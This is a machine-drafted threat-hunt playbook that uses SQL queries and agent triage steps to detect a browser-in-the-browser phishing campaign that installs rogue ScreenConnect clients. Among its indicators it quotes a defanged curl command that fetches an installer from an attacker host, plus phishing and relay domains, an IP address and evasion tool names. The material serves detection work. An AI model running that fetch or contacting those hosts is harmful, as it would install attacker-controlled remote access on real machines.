BiTB Phishing to Rogue RMM Persistence
An adversary has used browser-in-the-browser phishing to deceive a user into installing a rogue ScreenConnect instance, which established service-based persistence and executed evasion tools to hide its activity.
Based on research by Huntress 2026-09-20 12 steps · 5 queries T1059.003 T1090.003 T1105 T1543.003 T1562 T1566
Brief
Why this hunt matters
Recently, Huntress published a report titled Phishing Attacks Serve Browser-in-the-Browser Pages, Rogue RMM Persistence (https://www.huntress.com/blog/phishing-bitb-rmm-attacks). The article describes a multi-stage chain where an adversary uses deceptive browser overlays to install rogue ScreenConnect instances. This hunt identifies the transition from initial phishing access to long-term persistence. Because browser-in-the-browser techniques bypass traditional visual training, security practitioners must focus on the behavioral artifacts of the payload delivery and the RMM services that follow.
Scoping the Environment
The hunt starts by identifying every host running ScreenConnect software using the software inventory surface. This scoping phase establishes a list of systems where remote management tools are present. While many organizations use these tools for legitimate administration, identifying every instance is the first step in finding unauthorized versions that deviate from the corporate standard.
Access and Delivery
After scoping, the hunt searches for early-stage access signals. It queries DNS logs for resolutions to known phishing and relay domains. At the same time, the hunt monitors process activity for the use of curl to fetch MSI or EXE files. This specific combination of a browser process initiating a domain lookup followed by a command-line fetch of an installer represents the typical delivery flow. It captures the moment the adversary pulls the second-stage RMM payload onto the system.
Persistent RMM Services
Once the installer executes, it establishes a persistent service. The hunt uses process stacking to identify rare ScreenConnect process names across the fleet. Legitimate tools typically appear on many hosts with consistent naming conventions. Attacker-controlled instances often use unique identifiers or rare version strings. These stand out when the analyst baselines the process names against the rest of the environment. Finding a ScreenConnect process that only exists on one or two hosts suggests an unauthorized installation.
Defense Evasion
To maintain access without alerting the user, the adversary executes tools that suppress interactive indicators. The hunt looks for the execution of binaries like HideCursor.exe and HideUL.exe. It also monitors for any process activity within the ScreenConnect temporary directories, such as Documents\ScreenConnect\Temp. Attackers use these folders to stage scripts and evasion tools that hide the remote session from the logged-in user. This phase helps confirm that the RMM tool is being used for malicious purposes rather than legitimate support.
Synthesis and Triage
An automated agent or a manual analyst triages the findings by correlating the delivery and persistence signals. A host that resolved a phishing domain, executed a curl fetch, and now runs a rare ScreenConnect service is a target for isolation. The hunt weighs the early access signals against the persistence evidence to provide a final verdict for each endpoint. This phased approach ensures that the analyst focuses on the most likely intrusions first.
Blind Spots
This hunt relies on telemetry that may be limited by environmental configurations. It cannot see the actual browser rendering of a BiTB overlay. If the network does not use a TLS-decrypting proxy, the DNS logs only show the top-level domain resolution. The specific phishing content remains invisible. Additionally, if the endpoint agent truncates long command lines, the hunt might miss the malicious URL or file extension in the curl payload retrieval.
Steps
-
Scope ScreenConnect installations
Query · scopingIdentify hosts that have ScreenConnect software installed to focus the behavioral analysis.
reads hb_software_inventorysqlSELECT DISTINCT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE (LOWER(package_name) LIKE '%screenconnect%' OR LOWER(vendor_name) LIKE '%screenconnect%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0)What a hit looks like. A list of hosts with any ScreenConnect software. Silence means no ScreenConnect is detected at all, which might miss portable installations.
-
DNS queries to phishing and relay infra
Query · enrichmentFind resolutions to malicious domains used for the BiTB landing page and RMM relay.
reads hb_dns_activitysqlSELECT device_hostname, query_hostname, process_name, time FROM hb_dns_activity WHERE (instr(',' || '{{phishing_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0) AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')What a hit looks like. Hosts resolving the report's domains. A browser process name like chrome.exe or msedge.exe confirms user interaction.
-
Payload retrieval via curl command line
Query · detection candidateIdentify cmd.exe or powershell.exe instances using curl to download MSI or EXE files.
reads hb_process_activitysqlSELECT device_hostname, process_cmd_line, parent_process_name, time FROM hb_process_activity WHERE LOWER(process_cmd_line) LIKE '%curl %' AND (LOWER(process_cmd_line) LIKE '%.msi%' OR LOWER(process_cmd_line) LIKE '%.exe%') AND time >= datetime('now', '-{{lookback_days}} days')What a hit looks like. Processes showing curl fetching installers. This is the behavior the first ScreenConnect instance used to fetch the second.
-
Triage early-stage signals
Agent triageCorrelate phishing DNS activity with subsequent curl downloads to confirm the intrusion's start.
-
Prevalence of ScreenConnect processes
Query · baselineStack-count ScreenConnect processes to find rare or unauthorized instances that do not match the fleet baseline.
reads hb_process_activitysqlSELECT process_name, COUNT(DISTINCT device_hostname) AS hosts, MIN(time) AS first_seen FROM hb_process_activity WHERE LOWER(process_name) LIKE '%screenconnect%' AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY process_name HAVING hosts <= 3What a hit looks like. Rare ScreenConnect process names, which often include unique ID strings for rogue instances. Corporate RMM should show high counts.
-
Evasion tool detection
Query · enrichmentIdentify execution of HideCursor.exe or HideUL.exe, or any binaries launching from ScreenConnect temp folders.
reads hb_process_activitysqlSELECT device_hostname, process_name, process_path, process_cmd_line, time FROM hb_process_activity WHERE (instr(',' || '{{evasion_tools}}' || ',', ',' || LOWER(process_name) || ',') > 0 OR LOWER(process_path) LIKE '%\screenconnect\temp%') AND time >= datetime('now', '-{{lookback_days}} days')What a hit looks like. Process events for the identified evasion binaries or activity in the ScreenConnect temp folder.
-
Final intrusion synthesis
Agent triageSynthesize early access signals and follow-on persistence/evasion evidence to confirm the full attack chain.
-
Decision on intrusion
DecisionRoute the hunt based on the agent's confidence in a malicious intrusion.
-
Isolate compromised host
Response actionPrevent further attacker activity by containing the affected endpoint.
-
Manual analyst validation
Analyst taskVerify the findings and investigate the initial phishing delivery channel.
-
Close out hunt
Analyst taskDocument findings and archive the hunt when no malicious activity is confirmed.
Coverage
Scenario coverage
| Stage | Covered | How, or why not |
|---|---|---|
| BiTB Phishing and Adobe Lure T1566 |
Yes | phishing-dns-activity |
| RMM Installer Execution and Payload Retrieval T1059.003 · T1105 |
Yes | curl-payload-retrieval |
| Rogue RMM Service Persistence T1543.003 · T1090.003 |
Yes | rare-screenconnect-processes |
| Defense Evasion via Tool Execution T1562 |
Yes | evasion-tool-execution |
Blind spots
- Needs Complete process command-line logging. If the command line is truncated, the malicious domain and file extension might not be visible, causing the fetch query to miss the activity. It would answer whether the curl command line included the malicious URL. Remediation: Increase the command-line capture limit on the endpoint agent.
- Needs Proxy/HTTP payload inspection. DNS logging sees the top-level domain but cannot confirm the BiTB technique itself, which happens inside the browser's rendering context. It would answer whether the BiTB HTML template was served to the browser. Remediation: Enable TLS inspection on the forward proxy for unauthenticated traffic to scan for BiTB HTML patterns.
Parameters & data
Parameters
| Parameter | Type | Default | What it is |
|---|---|---|---|
evasion_tools | list[path] | hidecursor.exe, hideul.exe | Filenames of defense evasion tools used to suppress interactive indicators. |
lookback_days | number | 14 | Days of history to examine. |
phishing_domains | list[domain] | adoube.vu, selectstructure.com.au, hosthiifran.screenconnect.com, instance-uxh86b-relay.screenconnect.com, victory.mkc1.digitaloceanspaces.com, relay.goldenmelon.us, scx.illuminantgroup.net, relay.illuminantgroup.net | Known phishing and relay domains from the report. |
scope_hosts | list[host] | — | Narrow the hunt to specific hosts; leave empty for fleet-wide scanning. |
Telemetry
| Source | Category | Telemetry |
|---|---|---|
| Endpoint telemetry (hb_ surfaces) | endpoint | endpoint |
Source
---
analysis: This hunt uses a phased approach to connect early-stage DNS and fetch activity
to later-stage persistence and evasion. It uses prevalence to baseline ScreenConnect
processes across the fleet, distinguishing the unique IDs of rogue instances from
corporate-wide RMM software.
blind_spots:
- id: command-line-truncation
owner: Endpoint Security Team
question: whether the curl command line included the malicious URL
remediation: Increase the command-line capture limit on the endpoint agent.
requires: Complete process command-line logging
risk: If the command line is truncated, the malicious domain and file extension
might not be visible, causing the fetch query to miss the activity.
stage: payload-delivery-execution
- id: bitb-content-blindness
owner: Network Engineering
question: whether the BiTB HTML template was served to the browser
remediation: Enable TLS inspection on the forward proxy for unauthenticated traffic
to scan for BiTB HTML patterns.
requires: Proxy/HTTP payload inspection
risk: DNS logging sees the top-level domain but cannot confirm the BiTB technique
itself, which happens inside the browser's rendering context.
stage: initial-access-bitb-phishing
coverage:
- stage: initial-access-bitb-phishing
status: covered
steps:
- phishing-dns-activity
- stage: payload-delivery-execution
status: covered
steps:
- curl-payload-retrieval
- stage: persistence-rogue-rmm-services
status: covered
steps:
- rare-screenconnect-processes
- stage: defense-evasion-activity-suppression
status: covered
steps:
- evasion-tool-execution
guardrails:
claims: no_unsupported
evidence: citation_required
missing_data: not_benign
telemetry: untrusted
hunt:
applicability: campaign-specific
handoff: promote-to-detection
justification: Browser-in-the-Browser phishing renders traditional address-bar training
ineffective; identifying the subsequent RMM persistence and defense evasion tools
is a necessary control to prevent unauthorized remote access.
methodology: model-assisted
trigger: intel-report
hypothesis: An adversary has used browser-in-the-browser phishing to deceive a user
into installing a rogue ScreenConnect instance, which established service-based
persistence and executed evasion tools to hide its activity.
labels:
- hunt
- attack.t1566
- attack.t1059.003
- attack.t1105
- attack.t1543.003
- attack.t1562
- attack.t1090.003
name: BiTB Phishing to Rogue RMM Persistence
parameters:
evasion_tools:
default:
- hidecursor.exe
- hideul.exe
description: Filenames of defense evasion tools used to suppress interactive indicators.
from:
kind: article
observed: '2026-09-09'
ref: huntress-bitb-rmm
type: list[path]
lookback_days:
default: '14'
description: Days of history to examine.
type: number
phishing_domains:
default:
- adoube.vu
- selectstructure.com.au
- hosthiifran.screenconnect.com
- instance-uxh86b-relay.screenconnect.com
- victory.mkc1.digitaloceanspaces.com
- relay.goldenmelon.us
- scx.illuminantgroup.net
- relay.illuminantgroup.net
description: Known phishing and relay domains from the report.
from:
kind: article
observed: '2026-09-09'
ref: huntress-bitb-rmm
type: list[domain]
scope_hosts:
default: []
description: Narrow the hunt to specific hosts; leave empty for fleet-wide scanning.
type: list[host]
provenance:
authors:
- name: Huntbase hunt generation
org: huntbase.io
generated:
by: huntbase-hunt-generation
from: https://www.huntress.com/blog/phishing-bitb-rmm-attacks
gates:
- dry-run
- lint
- critic
model: hb_google/gemini-3-flash-preview
rationale: Focus on user workstations; widen to include all internet-connected endpoints
if any relay domain matches are found.
references:
- name: "Huntress \u2014 Phishing Attacks Serve Browser-in-the-Browser Pages, Rogue\
\ RMM Persistence"
url: https://www.huntress.com/blog/phishing-bitb-rmm-attacks
related:
- hunt: authorized-rmm-baseline-deviation
reason: This hunt focuses on the phishing-to-persistence chain; a broader RMM inventory
hunt would detect rogue tools regardless of the delivery vector.
relation: out-of-scope-alternative
scenario:
stages:
- name: BiTB Phishing and Adobe Lure
observables:
- adoube.vu
- selectstructure.com.au
- adobedocument.html
- file.html
- Fake browser window imitating get.adobe.com
slug: initial-access-bitb-phishing
tactic: initial-access
techniques:
- T1566
- name: RMM Installer Execution and Payload Retrieval
observables:
- ScreenConnect.ClientSetup.exe
- AdbRdBkUpsStUp.msi
- patch.msi
- cmd.exe /c curl -O hxxps://wir.consultingics.com/Bin/ScreenConnect.ClientSetup.msi
- hosthiifran.screenconnect.com
- victory.mkc1.digitaloceanspaces.com
slug: payload-delivery-execution
tactic: execution
techniques:
- T1059.003
- T1105
- name: Rogue RMM Service Persistence
observables:
- ScreenConnect Client (9c1aea531ba4c511)
- ScreenConnect Client (7c1d255d0efefde6)
- ScreenConnect Client (d751818fd46e5ca9)
- ScreenConnect Client (c19e38a20f1ba492)
- instance-uxh86b-relay.screenconnect.com
- 144.172.115.59
- relay.goldenmelon.us
- scx.illuminantgroup.net
- relay.illuminantgroup.net
slug: persistence-rogue-rmm-services
tactic: persistence
techniques:
- T1543.003
- T1090.003
- name: Defense Evasion via Tool Execution
observables:
- HideCursor.exe
- HideUL.exe
- C:\Users\REDACTED\Documents\ScreenConnect\Temp\HideCursor.exe
slug: defense-evasion-activity-suppression
tactic: defense-evasion
techniques:
- T1562
summary: Threat actors utilized a browser-in-the-browser (BiTB) technique to present
a fake Adobe download page, tricking victims into installing rogue ScreenConnect
clients. These clients established persistence via Windows services and deployed
specialized binaries like HideCursor.exe to suppress on-screen activity and evade
detection.
severity: high
targets:
analyst:
name: Tier-2 analyst
role: analyst
endpoint:
category: endpoint
name: Endpoint telemetry (hb_ surfaces)
telemetry:
- endpoint
hunter:
agent: true
name: Hunt agent
tlp: clear
type: investigation
---
# BiTB Phishing to Rogue RMM Persistence
This hunt follows the full lifecycle of a Browser-in-the-Browser (BiTB) attack. It begins by identifying users interacting with phishing infrastructure and subsequent payload retrieval via curl. The second phase pivots to detect the aftermath: rare or unauthorized ScreenConnect service processes and the execution of activity-hiding tools like HideCursor.exe. By weighing the early-stage access signals against the persistence evidence, the hunt distinguishes between authorized RMM software and attacker-controlled footholds.
## scope-screenconnect-installed
<!-- Scope ScreenConnect installations -->
Identify hosts that have ScreenConnect software installed to focus the behavioral analysis.
```sqlite target=endpoint role=scoping params=(scope_hosts=scope_hosts)
~~~yaml
expected: A list of hosts with any ScreenConnect software. Silence means no ScreenConnect
is detected at all, which might miss portable installations.
reads:
- device_hostname
- package_name
- package_version
- vendor_name
silence: not_evidence_of_absence
source: hb_software_inventory
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT DISTINCT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE (LOWER(package_name) LIKE '%screenconnect%' OR LOWER(vendor_name) LIKE '%screenconnect%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0)
```
## parallel-early-stage
<!-- Detect access and delivery -->
parallel:
- → phishing-dns-activity
- → curl-payload-retrieval
join: → agent-early-triage
## phishing-dns-activity
<!-- DNS queries to phishing and relay infra -->
Find resolutions to malicious domains used for the BiTB landing page and RMM relay.
```sqlite target=endpoint role=enrichment params=(phishing_domains=phishing_domains, scope_hosts=scope_hosts, lookback_days=lookback_days)
~~~yaml
expected: Hosts resolving the report's domains. A browser process name like chrome.exe
or msedge.exe confirms user interaction.
reads:
- device_hostname
- process_name
- query_hostname
- time
silence: not_evidence_of_absence
source: hb_dns_activity
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT device_hostname, query_hostname, process_name, time FROM hb_dns_activity WHERE (instr(',' || '{{phishing_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0) AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')
```
## curl-payload-retrieval
<!-- Payload retrieval via curl command line -->
Identify cmd.exe or powershell.exe instances using curl to download MSI or EXE files.
```sqlite target=endpoint role=detection-candidate params=(lookback_days=lookback_days)
~~~yaml
expected: Processes showing curl fetching installers. This is the behavior the first
ScreenConnect instance used to fetch the second.
reads:
- device_hostname
- parent_process_name
- process_cmd_line
- time
silence: not_evidence_of_absence
source: hb_process_activity
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT device_hostname, process_cmd_line, parent_process_name, time FROM hb_process_activity WHERE LOWER(process_cmd_line) LIKE '%curl %' AND (LOWER(process_cmd_line) LIKE '%.msi%' OR LOWER(process_cmd_line) LIKE '%.exe%') AND time >= datetime('now', '-{{lookback_days}} days')
```
## agent-early-triage
<!-- Triage early-stage signals -->
```agent target=hunter
cite: required
context:
- phishing-dns-activity
- curl-payload-retrieval
max_iterations: 3
objective: Determine if the observed DNS queries and curl fetches on each host suggest
a coordinated BiTB phishing intrusion.
success_criteria: A verdict of malicious | suspicious | benign per host.
tools:
- endpoint
```
## parallel-followon-stage
<!-- Detect persistence and evasion -->
parallel:
- → rare-screenconnect-processes
- → evasion-tool-execution
join: → agent-final-read
## rare-screenconnect-processes
<!-- Prevalence of ScreenConnect processes -->
Stack-count ScreenConnect processes to find rare or unauthorized instances that do not match the fleet baseline.
```sqlite target=endpoint role=baseline params=(lookback_days=lookback_days)
~~~yaml
baseline:
compare: first_seen
window: '{{lookback_days}}d'
expected: Rare ScreenConnect process names, which often include unique ID strings
for rogue instances. Corporate RMM should show high counts.
prevalence:
by: device_hostname
key:
- process_name
rare_below: 3
reads:
- device_hostname
- process_name
- time
silence: not_evidence_of_absence
source: hb_process_activity
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT process_name, COUNT(DISTINCT device_hostname) AS hosts, MIN(time) AS first_seen FROM hb_process_activity WHERE LOWER(process_name) LIKE '%screenconnect%' AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY process_name HAVING hosts <= 3
```
## evasion-tool-execution
<!-- Evasion tool detection -->
Identify execution of HideCursor.exe or HideUL.exe, or any binaries launching from ScreenConnect temp folders.
```sqlite target=endpoint role=enrichment params=(evasion_tools=evasion_tools, lookback_days=lookback_days)
~~~yaml
expected: Process events for the identified evasion binaries or activity in the ScreenConnect
temp folder.
reads:
- device_hostname
- process_cmd_line
- process_name
- process_path
- time
silence: not_evidence_of_absence
source: hb_process_activity
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT device_hostname, process_name, process_path, process_cmd_line, time FROM hb_process_activity WHERE (instr(',' || '{{evasion_tools}}' || ',', ',' || LOWER(process_name) || ',') > 0 OR LOWER(process_path) LIKE '%\screenconnect\temp%') AND time >= datetime('now', '-{{lookback_days}} days')
```
## agent-final-read
<!-- Final intrusion synthesis -->
```agent target=hunter
cite: required
context:
- agent-early-triage
- rare-screenconnect-processes
- evasion-tool-execution
max_iterations: 5
objective: Weigh the early access signals from agent-early-triage against the presence
of rare ScreenConnect processes and evasion tools to confirm an active intrusion.
success_criteria: A final verdict of malicious | suspicious | benign per host, citing
specific rows from all stages.
tools:
- endpoint
```
## decision-route
<!-- Decision on intrusion -->
if~: "the agent-final-read verdict is malicious for at least one host" (confidence: high, judge=hunter)
then: → isolate-compromised-host
indeterminate: → analyst-validation
unavailable: → analyst-validation (blind_spot: command-line-truncation)
else: → close-out-hunt
## isolate-compromised-host
<!-- Isolate compromised host -->
```action target=endpoint
~~~yaml
approval: required
~~~
Isolate the host via the EDR. Following isolation, collect the ScreenConnect service binaries and the evasion tools from the Documents\ScreenConnect\Temp directory.
```
→ analyst-validation
## analyst-validation
<!-- Manual analyst validation -->
```manual target=analyst
Check hb_http_activity for request logs to the adoube.vu or selectstructure.com.au domains. Verify if the ScreenConnect binaries are signed by an expected publisher and investigate the user's recent email activity for RingCentral or Gmail lures.
```
→ end
## close-out-hunt
<!-- Close out hunt -->
```manual target=analyst
Record the hosts examined and note any legitimate RMM usage that should be added to the baseline for future hunts.
```
→ end
Run it
Take this hunt into your environment.
Open it in Huntbase to run every step against your own connections, with Scout weighing the evidence and your analysts in command. Or take the open hunt.md file anywhere that reads the format.
Machine-drafted by huntbase-hunt-generation using hb_google/gemini-3-flash-preview, gated by dry-run, lint, critic, then reviewed by a person.